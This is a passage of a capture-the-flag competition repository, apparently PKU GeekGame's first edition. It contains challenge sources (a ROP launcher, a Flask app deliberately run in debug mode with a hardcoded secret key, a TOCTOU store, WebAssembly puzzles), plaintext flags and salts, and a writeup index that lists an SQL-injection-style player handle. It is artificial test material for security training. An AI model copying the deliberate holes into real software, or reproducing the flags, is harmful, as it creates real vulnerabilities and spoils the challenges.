45 | const char *url = "http://bailian.openjudge.cn/xlylx2019/B/";
46 | printf("This is a solution for this problem: %s\n", url);
47 | puts("PWN it!");
48 | }
49 |
50 | int main()
51 | {
52 | setbuf(stdout, NULL);
53 | setbuf(stderr, NULL);
54 | banner();
55 | int T;
56 | scanf("%d", &T);
57 | while (T--)
58 | run();
59 | return 0;
60 | }
61 |
--------------------------------------------------------------------------------
/src/rop/rop.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import os
4 | import sys
5 | import subprocess
6 | import random
7 | import shutil
8 | import signal
9 | import verify
10 | import hashlib
11 |
12 |
13 | class timeout:
14 | def __init__(self, seconds=1, error_message='Timeout'):
15 | self.seconds = seconds
16 | self.error_message = error_message
17 | def handle_timeout(self, signum, frame):
18 | raise TimeoutError(self.error_message)
19 | def __enter__(self):
20 | signal.signal(signal.SIGALRM, self.handle_timeout)
21 | signal.alarm(self.seconds)
22 | def __exit__(self, type, value, traceback):
23 | signal.alarm(0)
24 |
25 |
26 | class Docker:
27 | def __init__(self, image_name: str, cwd="") -> None:
28 | if cwd == "":
29 | cwd = os.getcwd()
30 | cwd = os.path.abspath(cwd)
31 | self._cwd = cwd
32 | self._container_name = ''.join([random.choice('0123456789abcdef') for _ in range(32)])
33 | subprocess.run(["docker", "run", "-id", "--name=" +
34 | self._container_name, "--net=none", "-v",
35 | os.path.join(cwd, "docker", self._container_name, "data")+":/data", image_name],
36 | stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
37 | #print("docker container created:{}".format(self._container_name))
38 |
39 | def close(self) -> None:
40 | subprocess.run(["docker", "kill", self._container_name],
41 | stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
42 | subprocess.run(["docker", "rm", self._container_name],
43 | stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
44 | shutil.rmtree(os.path.join(self._cwd, "docker", self._container_name))
45 | #print("docker container destoryed:{}".format(self._container_name))
46 |
47 | @property
48 | def mounted_path(self) -> str:
49 | return os.path.join(self._cwd, "docker", self._container_name, "data")
50 |
51 | @property
52 | def container_name(self) -> str:
53 | return self._container_name
54 |
55 | def run(self, args, user=None, stdin=None, stdout=None, stderr=None, timeout=2.0) -> subprocess.CompletedProcess:
56 | new_args = ["docker", "exec", "-i"]
57 | if user is not None:
58 | new_args += ["--user", str(user)]
59 | args = new_args + [self._container_name] + list(args)
60 | return subprocess.run(args, stdout=stdout, stdin=stdin, stderr=stderr, timeout=timeout)
61 |
62 |
63 | def copy_flag(flag_path, new_path, token):
64 | with open(flag_path, "r") as f:
65 | flag = f.read().strip()
66 | msg = token.encode('latin-1') + b"49e4ax541068d495a"
67 | msg = hashlib.md5(msg).hexdigest()
68 | flag = flag.replace("TOKEN", msg)
69 | with open(new_path, "w") as f:
70 | f.write(flag)
71 |
72 |
73 | if __name__ == "__main__":
74 | os.chdir(os.path.dirname(os.path.abspath(__file__)))
75 | try:
76 | with timeout(seconds=10):
77 | token = input("token: ")
78 | except Exception as e:
79 | print(e)
80 | exit()
81 | if verify.validate(token) is None:
82 | print("wrong token")
83 | exit()
84 |
85 | try:
86 | docker = Docker("rop:1.0")
87 | copy_flag("flag.txt", os.path.join(docker.mounted_path, "flag"), token)
88 |
89 | try:
90 | cmd = ["/bin/sh", "-c", "cd /chall && ./rop"]
91 | proc = docker.run(cmd, stdin=sys.stdin, stdout=sys.stdout, stderr=sys.stderr, timeout=60)
92 | except subprocess.TimeoutExpired:
93 | pass
94 | except:
95 | pass
96 |
97 | docker.close()
98 |
--------------------------------------------------------------------------------
/src/rop/rop.xinetd:
--------------------------------------------------------------------------------
1 | service store
2 | {
3 | type = UNLISTED
4 | socket_type = stream
5 | protocol = tcp
6 | wait = no
7 | user = root
8 | server = /usr/bin/python3
9 | server_args = /path/rop.py
10 | log_on_failure += USERID
11 | log_type = FILE /var/log/rop.log
12 | port = 3000
13 | disable = no
14 | }
15 |
--------------------------------------------------------------------------------
/src/rop/verify.py:
--------------------------------------------------------------------------------
1 | import OpenSSL
2 | import base64
3 | import os
4 |
5 |
6 | CERT_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "cert.pem")
7 |
8 | with open(CERT_FILE) as f:
9 | cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, f.read())
10 |
11 |
12 | def validate(token):
13 | try:
14 | id, sig = token.split(":", 1)
15 | sig = base64.b64decode(sig, validate=True)
16 | OpenSSL.crypto.verify(cert, sig, id.encode(), "sha256")
17 | return id
18 | except Exception:
19 | return None
20 |
--------------------------------------------------------------------------------
/src/session/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3
2 |
3 | WORKDIR /usr/src/app
4 |
5 | COPY game ./
6 |
7 | RUN pip install --no-cache-dir -r requirements.txt
8 |
9 | CMD ["python", "app.py"]
10 | EXPOSE 5000
11 |
--------------------------------------------------------------------------------
/src/session/game/app.py:
--------------------------------------------------------------------------------
1 | from flask import *
2 | from flag import getflag
3 |
4 | app = Flask(__name__)
5 | app.secret_key = 'oh you got it, one more step to get flag'
6 |
7 | @app.route('/', methods=['GET', 'POST'])
8 | def index():
9 | if request.is_json:
10 | action = request.json.get('action', '').strip()
11 | flag = getflag(request.json.get('token', '').strip())
12 |
13 | if action=='login':
14 | if request.json.get('flag', '').strip()==flag:
15 | session['admin'] = True
16 | return '已登录'
17 | else:
18 | return 'flag错误'
19 |
20 | elif action=='logout':
21 | session['admin'] = False
22 | return '已注销'
23 |
24 | elif action=='getflag':
25 | if 'admin' in session and session['admin']:
26 | return 'Here is your flag: '+flag
27 | else:
28 | return '请登录后查看flag'
29 |
30 | else:
31 | return '操作无效'
32 |
33 | else:
34 | return render_template('index.html')
35 |
36 | @app.route('/src')
37 | def src():
38 | with open(__file__, encoding='utf-8') as f:
39 | src = f.read()
40 | src = src.replace(repr(app.secret_key), '***')
41 |
42 | resp = Response(src)
43 | resp.headers['content-type'] = 'text/plain; charset=utf-8'
44 | return resp
45 |
46 | app.run('0.0.0.0', 5000, True)
--------------------------------------------------------------------------------
/src/session/game/flag.py:
--------------------------------------------------------------------------------
1 | import hashlib
2 |
3 | FLAG = 'F1a5k_debugging_mode_1S_1Ns3cure'
4 | SECRET = 'pkuggg::7hhmv5il'
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 | def getflag(token):
17 | serial = hashlib.sha256((SECRET+token).encode()).hexdigest()[:8]
18 | return 'flag{%s_%s}'%(FLAG, serial)
--------------------------------------------------------------------------------
/src/session/game/requirements.txt:
--------------------------------------------------------------------------------
1 | flask
2 |
--------------------------------------------------------------------------------
/src/session/game/templates/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Unbreakable Flask App
6 |
7 |
8 |
9 |
10 |
11 |
14 |
登录之后输入 getflag 即可获得 flag
15 |
输入正确的 flag 即可登录
16 |
17 |
18 |
19 |
20 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
开放源代码
44 |
45 |
46 |
47 |
69 |
70 |
--------------------------------------------------------------------------------
/src/signin/game/quiz.txt:
--------------------------------------------------------------------------------
1 | c3ludHtKM3lwYnpyIGdiIDBndSBDWEggVGhUaFRoLCByYXdibCBndXIgdG56ciF9
--------------------------------------------------------------------------------
/src/signin/src/gen.py:
--------------------------------------------------------------------------------
1 | import urllib.parse
2 | import base64
3 |
4 | def rot13(s):
5 | def rotchar(c):
6 | for basechar in ['a', 'A']:
7 | base = ord(basechar)
8 | idx = ord(c)-base
9 | if 0<=idx<26:
10 | return chr(base + (idx+13)%26)
11 | return c
12 |
13 | return ''.join([rotchar(c) for c in s])
14 |
15 | s = 'flag{W3lcome to 0th PKU GuGuGu, enjoy the game!}'
16 | s = rot13(s)
17 | #s = urllib.parse.quote(s)
18 | s = base64.b64encode(s.encode()).decode()
19 |
20 | print(s)
21 | with open('quiz.txt', 'w') as f:
22 | f.write(s)
--------------------------------------------------------------------------------
/src/toctou/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:20.04
2 |
3 | RUN apt-get update
4 |
5 | ARG DEBIAN_FRONTEND=noninteractive
6 | RUN apt-get install -y python3 python3-openssl xinetd
7 |
8 | RUN mkdir /chall
9 |
10 | COPY service.py /chall/
11 | COPY comm.py /chall/
12 | COPY verify.py /chall/
13 | COPY cert.pem /chall/
14 |
15 | RUN cd /chall && python3 -m compileall service.py
16 |
17 | COPY store.xinetd /etc/xinetd.d/store
18 |
19 | RUN useradd -m -s /bin/bash player
20 |
21 | CMD xinetd -dontfork
22 |
23 | EXPOSE 3000
24 |
--------------------------------------------------------------------------------
/src/toctou/comm.py:
--------------------------------------------------------------------------------
1 | import hashlib
2 |
3 |
4 | flag = "flag{a_good_merchant_knows_how_to_make_money_TOKEN}"
5 |
6 |
7 | def set_token(token):
8 | global flag
9 | msg = token.encode('latin-1') + b"\"3ef587a1293bc7b"
10 | msg = hashlib.md5(msg).hexdigest()
11 | flag = flag.replace("TOKEN", msg)
12 |
13 |
14 | # https://darkestdungeon.fandom.com/wiki/Items
15 |
16 | def comms():
17 | global flag
18 | return {
19 | "citrine": {
20 | "desc": "Yellow like fading hope.",
21 | "price": 250
22 | },
23 | "jade": {
24 | "desc": "Dull green like rotting flesh.",
25 | "price": 375
26 | },
27 | "onyx": {
28 | "desc": "Black like endless night.",
29 | "price": 500
30 | },
31 | "emerald": {
32 | "desc": "Green like molten envy.",
33 | "price": 750
34 | },
35 | "sapphire": {
36 | "desc": "Blue like strangled dreams.",
37 | "price": 1000
38 | },
39 | "ruby": {
40 | "desc": "Red like blazing lust.",
41 | "price": 1250
42 | },
43 | "egg": {
44 | "desc": "Colorful like boring author.",
45 | "price": 2000
46 | },
47 | "flag": {
48 | "desc": "Spotless flag, showing a strange sentence: %s." % flag,
49 | "price": 100000
50 | }
51 | }
52 |
--------------------------------------------------------------------------------
/src/toctou/service.cpython-38.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/toctou/service.cpython-38.pyc
--------------------------------------------------------------------------------
/src/toctou/store.xinetd:
--------------------------------------------------------------------------------
1 | service store
2 | {
3 | type = UNLISTED
4 | socket_type = stream
5 | protocol = tcp
6 | wait = no
7 | user = player
8 | server = /bin/python3
9 | server_args = /chall/service.py
10 | log_on_failure += USERID
11 | port = 3000
12 | disable = no
13 | }
14 |
--------------------------------------------------------------------------------
/src/toctou/verify.py:
--------------------------------------------------------------------------------
1 | import OpenSSL
2 | import base64
3 | import os
4 |
5 |
6 | CERT_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "cert.pem")
7 |
8 | with open(CERT_FILE) as f:
9 | cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, f.read())
10 |
11 |
12 | def validate(token):
13 | try:
14 | id, sig = token.split(":", 1)
15 | sig = base64.b64decode(sig, validate=True)
16 | OpenSSL.crypto.verify(cert, sig, id.encode(), "sha256")
17 | return id
18 | except Exception:
19 | return None
20 |
--------------------------------------------------------------------------------
/src/wasm/dc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/wasm/dc
--------------------------------------------------------------------------------
/src/wasm/dc.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | using namespace std;
5 | int n;
6 | int s[100];
7 | int rightn;
8 | int rightans[100];
9 | int spt[100];
10 | int tpt[100];
11 | int table[96];
12 | int swpt[100];
13 | int SEED;
14 | int i;
15 | int x,y;
16 | char str[100];
17 | int main()
18 | {
19 | SEED=114514;
20 | cin>>str;
21 | n=strlen(str);
22 | cout<=96) return -1;
39 | spt[i]=(table[x]+i)%96+32;
40 | }
41 | for(i=0;i
2 | //using namespace std;
3 | extern int n;
4 | extern int s[100];
5 | extern int rightn;
6 | extern int rightans[100];
7 | int spt[100];
8 | int tpt[100];
9 | int table[96];
10 | int swpt[100];
11 | int SEED;
12 | int i;
13 | int x,y;
14 | int main()
15 | {
16 | SEED=114514;
17 | for(i=0;i<96;i++)
18 | table[i]=i;
19 | for(i=1;i<96;i++)
20 | {
21 | SEED=(SEED*1919+7)%334363;
22 | x=SEED%i;
23 | y=table[x];
24 | table[x]=table[i];
25 | table[i]=y;
26 | }
27 | for(i=0;i=96) return -1;
31 | spt[i]=(table[x]+i)%96+32;
32 | }
33 | for(i=0;i
8 |
9 | #include "wasm-rt.h"
10 |
11 | #ifndef WASM_RT_MODULE_PREFIX
12 | #define WASM_RT_MODULE_PREFIX
13 | #endif
14 |
15 | #define WASM_RT_PASTE_(x, y) x ## y
16 | #define WASM_RT_PASTE(x, y) WASM_RT_PASTE_(x, y)
17 | #define WASM_RT_ADD_PREFIX(x) WASM_RT_PASTE(WASM_RT_MODULE_PREFIX, x)
18 |
19 | /* TODO(binji): only use stdint.h types in header */
20 | typedef uint8_t u8;
21 | typedef int8_t s8;
22 | typedef uint16_t u16;
23 | typedef int16_t s16;
24 | typedef uint32_t u32;
25 | typedef int32_t s32;
26 | typedef uint64_t u64;
27 | typedef int64_t s64;
28 | typedef float f32;
29 | typedef double f64;
30 |
31 | extern void WASM_RT_ADD_PREFIX(init)(void);
32 |
33 | /* import: 'env' 'memory' */
34 | extern wasm_rt_memory_t (*Z_envZ_memory);
35 | /* import: 'env' '_val1' */
36 | extern u32 (*Z_envZ__val1Z_i);
37 | /* import: 'env' '_val2' */
38 | extern u32 (*Z_envZ__val2Z_i);
39 | /* import: 'env' '_val3' */
40 | extern u32 (*Z_envZ__val3Z_i);
41 | /* import: 'env' '_val4' */
42 | extern u32 (*Z_envZ__val4Z_i);
43 | /* import: 'env' '_val5' */
44 | extern u32 (*Z_envZ__val5Z_i);
45 | /* import: 'env' '_val6' */
46 | extern u32 (*Z_envZ__val6Z_i);
47 |
48 | /* export: '_main' */
49 | extern u32 (*WASM_RT_ADD_PREFIX(Z__mainZ_iv))(void);
50 | #ifdef __cplusplus
51 | }
52 | #endif
53 |
54 | #endif /* RANWEN_C_H_GENERATED_ */
55 |
--------------------------------------------------------------------------------
/src/wasm/sol2/c.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/wasm/sol2/c.o
--------------------------------------------------------------------------------
/src/wasm/sol2/final.wasm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/wasm/sol2/final.wasm
--------------------------------------------------------------------------------
/src/wasm/sol2/wasm-rt.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2018 WebAssembly Community Group participants
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | */
16 |
17 | #ifndef WASM_RT_H_
18 | #define WASM_RT_H_
19 |
20 | #include
21 |
22 | #ifdef __cplusplus
23 | extern "C" {
24 | #endif
25 |
26 | /** Maximum stack depth before trapping. This can be configured by defining
27 | * this symbol before including wasm-rt when building the generated c files,
28 | * for example:
29 | *
30 | * ```
31 | * cc -c -DWASM_RT_MAX_CALL_STACK_DEPTH=100 my_module.c -o my_module.o
32 | * ```
33 | * */
34 | #ifndef WASM_RT_MAX_CALL_STACK_DEPTH
35 | #define WASM_RT_MAX_CALL_STACK_DEPTH 500
36 | #endif
37 |
38 | /** Reason a trap occurred. Provide this to `wasm_rt_trap`. */
39 | typedef enum {
40 | WASM_RT_TRAP_NONE, /** No error. */
41 | WASM_RT_TRAP_OOB, /** Out-of-bounds access in linear memory. */
42 | WASM_RT_TRAP_INT_OVERFLOW, /** Integer overflow on divide or truncation. */
43 | WASM_RT_TRAP_DIV_BY_ZERO, /** Integer divide by zero. */
44 | WASM_RT_TRAP_INVALID_CONVERSION, /** Conversion from NaN to integer. */
45 | WASM_RT_TRAP_UNREACHABLE, /** Unreachable instruction executed. */
46 | WASM_RT_TRAP_CALL_INDIRECT, /** Invalid call_indirect, for any reason. */
47 | WASM_RT_TRAP_EXHAUSTION, /** Call stack exhausted. */
48 | } wasm_rt_trap_t;
49 |
50 | /** Value types. Used to define function signatures. */
51 | typedef enum {
52 | WASM_RT_I32,
53 | WASM_RT_I64,
54 | WASM_RT_F32,
55 | WASM_RT_F64,
56 | } wasm_rt_type_t;
57 |
58 | /** A function type for all `anyfunc` functions in a Table. All functions are
59 | * stored in this canonical form, but must be cast to their proper signature to
60 | * call. */
61 | typedef void (*wasm_rt_anyfunc_t)(void);
62 |
63 | /** A single element of a Table. */
64 | typedef struct {
65 | /** The index as returned from `wasm_rt_register_func_type`. */
66 | uint32_t func_type;
67 | /** The function. The embedder must know the actual C signature of the
68 | * function and cast to it before calling. */
69 | wasm_rt_anyfunc_t func;
70 | } wasm_rt_elem_t;
71 |
72 | /** A Memory object. */
73 | typedef struct {
74 | /** The linear memory data, with a byte length of `size`. */
75 | uint8_t* data;
76 | /** The current and maximum page count for this Memory object. If there is no
77 | * maximum, `max_pages` is 0xffffffffu (i.e. UINT32_MAX). */
78 | uint32_t pages, max_pages;
79 | /** The current size of the linear memory, in bytes. */
80 | uint32_t size;
81 | } wasm_rt_memory_t;
82 |
83 | /** A Table object. */
84 | typedef struct {
85 | /** The table element data, with an element count of `size`. */
86 | wasm_rt_elem_t* data;
87 | /** The maximum element count of this Table object. If there is no maximum,
88 | * `max_size` is 0xffffffffu (i.e. UINT32_MAX). */
89 | uint32_t max_size;
90 | /** The current element count of the table. */
91 | uint32_t size;
92 | } wasm_rt_table_t;
93 |
94 | /** Stop execution immediately and jump back to the call to `wasm_rt_try`.
95 | * The result of `wasm_rt_try` will be the provided trap reason.
96 | *
97 | * This is typically called by the generated code, and not the embedder. */
98 | extern void wasm_rt_trap(wasm_rt_trap_t) __attribute__((noreturn));
99 |
100 | /** Register a function type with the given signature. The returned function
101 | * index is guaranteed to be the same for all calls with the same signature.
102 | * The following varargs must all be of type `wasm_rt_type_t`, first the
103 | * params` and then the `results`.
104 | *
105 | * ```
106 | * // Register (func (param i32 f32) (result i64)).
107 | * wasm_rt_register_func_type(2, 1, WASM_RT_I32, WASM_RT_F32, WASM_RT_I64);
108 | * => returns 1
109 | *
110 | * // Register (func (result i64)).
111 | * wasm_rt_register_func_type(0, 1, WASM_RT_I32);
112 | * => returns 2
113 | *
114 | * // Register (func (param i32 f32) (result i64)) again.
115 | * wasm_rt_register_func_type(2, 1, WASM_RT_I32, WASM_RT_F32, WASM_RT_I64);
116 | * => returns 1
117 | * ``` */
118 | extern uint32_t wasm_rt_register_func_type(uint32_t params,
119 | uint32_t results,
120 | ...);
121 |
122 | /** Initialize a Memory object with an initial page size of `initial_pages` and
123 | * a maximum page size of `max_pages`.
124 | *
125 | * ```
126 | * wasm_rt_memory_t my_memory;
127 | * // 1 initial page (65536 bytes), and a maximum of 2 pages.
128 | * wasm_rt_allocate_memory(&my_memory, 1, 2);
129 | * ``` */
130 | extern void wasm_rt_allocate_memory(wasm_rt_memory_t*,
131 | uint32_t initial_pages,
132 | uint32_t max_pages);
133 |
134 | /** Grow a Memory object by `pages`, and return the previous page count. If
135 | * this new page count is greater than the maximum page count, the grow fails
136 | * and 0xffffffffu (UINT32_MAX) is returned instead.
137 | *
138 | * ```
139 | * wasm_rt_memory_t my_memory;
140 | * ...
141 | * // Grow memory by 10 pages.
142 | * uint32_t old_page_size = wasm_rt_grow_memory(&my_memory, 10);
143 | * if (old_page_size == UINT32_MAX) {
144 | * // Failed to grow memory.
145 | * }
146 | * ``` */
147 | extern uint32_t wasm_rt_grow_memory(wasm_rt_memory_t*, uint32_t pages);
148 |
149 | /** Initialize a Table object with an element count of `elements` and a maximum
150 | * page size of `max_elements`.
151 | *
152 | * ```
153 | * wasm_rt_table_t my_table;
154 | * // 5 elemnets and a maximum of 10 elements.
155 | * wasm_rt_allocate_table(&my_table, 5, 10);
156 | * ``` */
157 | extern void wasm_rt_allocate_table(wasm_rt_table_t*,
158 | uint32_t elements,
159 | uint32_t max_elements);
160 |
161 | /** Current call stack depth. */
162 | extern uint32_t wasm_rt_call_stack_depth;
163 |
164 | #ifdef __cplusplus
165 | }
166 | #endif
167 |
168 | #endif /* WASM_RT_H_ */
169 |
170 |
--------------------------------------------------------------------------------
/src/wasm/test.html:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/writeups/README.md:
--------------------------------------------------------------------------------
1 | ## 来自命题人的 Writeup
2 |
3 | - **xmcp:**[.HTML](wp-xmcp/wp-xmcp.html) / [.MD](wp-xmcp/wp-xmcp.md)
4 | 包括 签到、6 道题面带 “You 酱” 字样的题、2038 年的银行、未来的机器、庄子的回文
5 | - **liangjs:**[.HTML](wp-liangjs/wp-liangjs.html) / [.MD](wp-liangjs/wp-liangjs.md)
6 | 包括 主的替代品、皮浪的解码器、弗拉梅尔的宝石商店、庄子的回文、签退
7 | - **ranwen:**[.HTML](wp-ranwen/wp-ranwen.html) / [.MD](wp-ranwen/wp-ranwen.md)
8 | 包括 2038 年的银行、人类行为研究实验、未来的机器、安全的密钥交换、千年讲堂的方形轮子
9 | - **cheshire_cat:**[.HTML](wp-cheshire_cat/wp-cheshire_cat.html) / [.MD](wp-cheshire_cat/wp-cheshire_cat.md) / [code](wp-cheshire_cat/code.7z)
10 | 包括 巴别压缩包
11 |
12 | 上述作品采用 [知识共享署名-非商业性使用 4.0 国际许可协议(CC BY-NC 4.0)](http://creativecommons.org/licenses/by-nc/4.0/) 进行许可。
13 |
14 |
15 |
16 | ## 来自选手的 Writeup
17 |
18 | - **lrh2000:** [.PDF](player-lrh2000/writeup.pdf)
19 | 亮点:解出全部题目,“签退” 非预期解,精致的 lAtEx 排版
20 | - **zhangboyang:** [.PDF](player-zhangboyang/writeup.pdf) / [.PPT](player-zhangboyang/writeup.ppt) / [code](player-zhangboyang/code.7z)
21 | 亮点:解出全部题目,“签退” 非预期解,“未来的机器” 指令计数解法,Writeup 使用了极为先进的矢量图文件格式 .PPT
22 | - **sAy');DROP TABL p;--:** [.PDF](player-sAy/writeup.pdf) / [code](player-sAy/code.7z)
23 | 亮点摘抄如下:“作为一个此前从来没有做过pwn题的人,我花了相当多的时间来研究这道题。最后发现,这道题的思路其实很常规。”(对签退的评价)
24 | - **DF4D0155:** [.PDF](player-DF4D0155/writeup.pdf) / [.MD](player-DF4D0155/writeup.md) / [code](player-DF4D0155/code.7z)
25 | 亮点:小北问答最后一题(TLD)非预期解,千年讲堂乱拼密文解法,计算概论 B 手画 Huffman 树
26 | - **Sui:**[.PDF](player-Sui/writeup.pdf) / [.MD](player-Sui/writeup.md) / [code](player-Sui/code.7z)
27 | 亮点:全场唯一一份英文 Writeup [NLP 课卷王狂喜](https://pkuhelper.pku.edu.cn/hole/##1781756),最后一段话让主办方看了很开心 :)
28 | - **Hotarubi:**[.PDF](player-Hotarubi/writeup.pdf) / [.MD](player-Hotarubi/writeup.md) / [code](player-Hotarubi/code.7z)
29 | 亮点:没听说过 Huffman 编码也解出了计算概论 B
30 |
31 | 转载前请向相应作者获得许可。
32 |
33 |
--------------------------------------------------------------------------------
/writeups/player-DF4D0155/2021-05-23-12-12-30.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-DF4D0155/2021-05-23-12-12-30.png
--------------------------------------------------------------------------------
/writeups/player-DF4D0155/2021-05-23-12-13-05.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-DF4D0155/2021-05-23-12-13-05.png
--------------------------------------------------------------------------------
/writeups/player-DF4D0155/2021-05-23-12-25-29.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-DF4D0155/2021-05-23-12-25-29.png
--------------------------------------------------------------------------------
/writeups/player-DF4D0155/2021-05-23-12-36-40.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-DF4D0155/2021-05-23-12-36-40.png
--------------------------------------------------------------------------------
/writeups/player-DF4D0155/2021-05-23-12-44-14.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-DF4D0155/2021-05-23-12-44-14.png
--------------------------------------------------------------------------------
/writeups/player-DF4D0155/2021-05-23-12-49-59.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-DF4D0155/2021-05-23-12-49-59.png
--------------------------------------------------------------------------------
/writeups/player-DF4D0155/2021-05-23-12-51-05.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-DF4D0155/2021-05-23-12-51-05.png
--------------------------------------------------------------------------------
/writeups/player-DF4D0155/2021-05-23-12-59-43.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-DF4D0155/2021-05-23-12-59-43.png
--------------------------------------------------------------------------------
/writeups/player-DF4D0155/2021-05-23-13-01-29.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-DF4D0155/2021-05-23-13-01-29.png
--------------------------------------------------------------------------------
/writeups/player-DF4D0155/2021-05-23-13-05-58.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-DF4D0155/2021-05-23-13-05-58.png
--------------------------------------------------------------------------------
/writeups/player-DF4D0155/2021-05-23-13-08-11.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-DF4D0155/2021-05-23-13-08-11.png
--------------------------------------------------------------------------------
/writeups/player-DF4D0155/2021-05-23-13-10-09.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-DF4D0155/2021-05-23-13-10-09.png
--------------------------------------------------------------------------------
/writeups/player-DF4D0155/2021-05-23-13-19-16.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-DF4D0155/2021-05-23-13-19-16.png
--------------------------------------------------------------------------------
/writeups/player-DF4D0155/2021-05-23-13-23-42.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-DF4D0155/2021-05-23-13-23-42.png
--------------------------------------------------------------------------------
/writeups/player-DF4D0155/2021-05-23-13-37-05.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-DF4D0155/2021-05-23-13-37-05.png
--------------------------------------------------------------------------------
/writeups/player-DF4D0155/2021-05-23-13-38-56.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-DF4D0155/2021-05-23-13-38-56.png
--------------------------------------------------------------------------------
/writeups/player-DF4D0155/2021-05-23-13-41-13.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-DF4D0155/2021-05-23-13-41-13.png
--------------------------------------------------------------------------------
/writeups/player-DF4D0155/2021-05-23-14-02-13.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-DF4D0155/2021-05-23-14-02-13.png
--------------------------------------------------------------------------------
/writeups/player-DF4D0155/2021-05-24-00-22-33.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-DF4D0155/2021-05-24-00-22-33.png
--------------------------------------------------------------------------------
/writeups/player-DF4D0155/2021-05-24-14-46-36.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-DF4D0155/2021-05-24-14-46-36.png
--------------------------------------------------------------------------------
/writeups/player-DF4D0155/2021-05-24-20-34-04.jpg:
--------------------------------------------------------------------------------
